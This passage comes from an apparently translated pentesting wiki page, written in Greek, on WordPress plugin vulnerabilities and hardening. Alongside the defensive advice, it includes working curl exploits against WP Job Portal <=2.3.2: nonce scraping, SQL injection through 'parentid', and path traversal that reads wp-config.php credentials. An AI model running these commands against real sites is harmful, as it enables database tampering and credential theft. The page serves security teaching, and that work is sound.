`current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`. - Εξουσιοδοτούν με βάση έναν πίνακα επιλογών plugin (π.χ., `viewing_admin_as_role_are`) αντί για τις ικανότητες του ηθοποιού. Ενίσχυση - Επιβάλλετε ελέγχους ικανοτήτων σε κάθε κλάδο που αλλάζει κατάσταση (π.χ., `current_user_can('manage_options')` ή αυστηρότερα). - Απαιτήστε nonces για όλες τις μετατροπές ρόλων/δικαιωμάτων και επαληθεύστε τα: `check_admin_referer()` / `wp_verify_nonce()`. - Ποτέ μην εμπιστεύεστε τα ονόματα χρηστών που παρέχονται από το αίτημα; επιλύστε τον στόχο χρήστη από την πλευρά του διακομιστή με βάση τον αυθεντικοποιημένο ηθοποιό και την ρητή πολιτική. - Ακυρώστε την κατάσταση “αρχικών ρόλων” κατά τις ενημερώσεις προφίλ/ρόλων για να αποφύγετε την παλαιά αποκατάσταση υψηλών δικαιωμάτων: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` - Σκεφτείτε να αποθηκεύετε ελάχιστη κατάσταση και να χρησιμοποιείτε περιορισμένα χρονικά, προστατευμένα από δυνατότητες tokens για προσωρινές αλλαγές ρόλου. --- ## WordPress Protection ### Regular Updates Βεβαιωθείτε ότι το WordPress, τα plugins και τα θέματα είναι ενημερωμένα. Επίσης, επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` Επίσης, **εγκαταστήστε μόνο αξιόπιστα πρόσθετα και θέματα WordPress**. ### Πρόσθετα Ασφαλείας - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) ### **Άλλες Συστάσεις** - Αφαιρέστε τον προεπιλεγμένο χρήστη **admin** - Χρησιμοποιήστε **ισχυρούς κωδικούς πρόσβασης** και **2FA** - Περιοδικά **ελέγξτε** τα δικαιώματα των χρηστών - **Περιορίστε τις προσπάθειες σύνδεσης** για να αποτρέψετε επιθέσεις Brute Force - Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP. ### Μη αυθεντική SQL Injection μέσω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2) Το πρόσθετο πρόσληψης WP Job Portal αποκάλυψε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; if ($category) { $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ } $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` Issues introduced by this snippet: 1. **Μη απολυμάνθηκε είσοδος χρήστη** – `parentid` προέρχεται απευθείας από το HTTP αίτημα. 2. **Συγκέντρωση συμβολοσειρών μέσα στη ρήτρα WHERE** – καμία `is_numeric()` / `esc_sql()` / προετοιμασμένη δήλωση. 3. **Μη αυθεντικοποιημένη προσβασιμότητα** – αν και η ενέργεια εκτελείται μέσω `admin-post.php`, ο μόνος έλεγχος που υπάρχει είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`. #### Εκμετάλλευση 1. Πάρτε ένα νέο nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` 2. Εισάγετε αυθαίρετο SQL εκμεταλλευόμενοι το `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ -d '_wpnonce=' \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` Η απάντηση αποκαλύπτει το αποτέλεσμα του εισαχθέντος ερωτήματος ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi. ### Μη αυθεντικοποιημένη αυθαίρετη λήψη αρχείου / Διαδρομή Traversal (WP Job Portal <= 2.3.2) Μια άλλη εργασία, **downloadcustomfile**, επέτρεπε στους επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω διαδρομής traversal. Ο ευάλωτος προορισμός βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` `$file_name` είναι ελεγχόμενο από τον επιτιθέμενο και συνδυάζεται **χωρίς απολύμανση**. Και πάλι, η μόνη πύλη είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα βιογραφικού. #### Εκμετάλλευση ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ --data-urlencode '_wpnonce=' \ --data-urlencode 'upload_for=resume' \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` Ο διακομιστής απαντά με το περιεχόμενο του `wp-config.php`, leaking DB credentials και auth keys. ## Αναφορές - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) - [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) - [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}}